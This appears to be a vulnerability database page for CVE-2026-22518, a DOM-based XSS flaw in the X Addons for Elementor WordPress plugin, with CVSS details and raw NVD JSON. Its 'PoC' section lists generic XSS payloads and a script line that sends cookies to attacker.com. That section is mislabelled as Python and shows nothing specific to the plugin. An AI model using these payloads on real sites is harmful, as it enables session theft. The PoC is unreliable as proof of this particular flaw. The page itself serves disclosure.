Security Vulnerability Report
中文
CVE-2026-22518 CVSS 6.5 MEDIUM

CVE-2026-22518

Published: 2026-01-08 17:15:52
Last Modified: 2026-04-23 15:36:38

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pencilwp X Addons for Elementor x-addons-elementor allows DOM-Based XSS.This issue affects X Addons for Elementor: from n/a through <= 1.0.23.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

X Addons for Elementor <= 1.0.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-22518 DOM-Based XSS PoC --> <!-- For X Addons for Elementor Plugin <= 1.0.23 --> <!-- Method 1: URL Fragment-based payload --> <script> // Malicious payload that may be reflected in the page var maliciousPayload = '<img src=x onerror="alert(document.cookie)">'; // Inject via URL fragment var url = window.location.href + '#' + encodeURIComponent(maliciousPayload); console.log('Crafted URL:', url); </script> <!-- Method 2: Direct injection payload --> <!-- <img src=x onerror=alert(document.domain)> --> <!-- <svg/onload=alert(document.cookie)> --> <!-- <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> --> <!-- Method 3: Stored/Reflected via plugin parameters --> <!-- Modify plugin widget parameters with XSS payload --> <!-- Example: data-xss="<img src=x onerror=alert(document.cookie)>" -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22518", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:51.810", "lastModified": "2026-04-23T15:36:37.860", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pencilwp X Addons for Elementor x-addons-elementor allows DOM-Based XSS.This issue affects X Addons for Elementor: from n/a through <= 1.0.23."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('Cross-site Scripting') vulnerabilidad en pencilwp X Addons for Elementor permite XSS basado en DOM. Este problema afecta a X Addons for Elementor: desde n/a hasta 1.0.23."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/x-addons-elementor/vulnerability/wordpress-x-addons-for-elementor-plugin-1-0-23-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}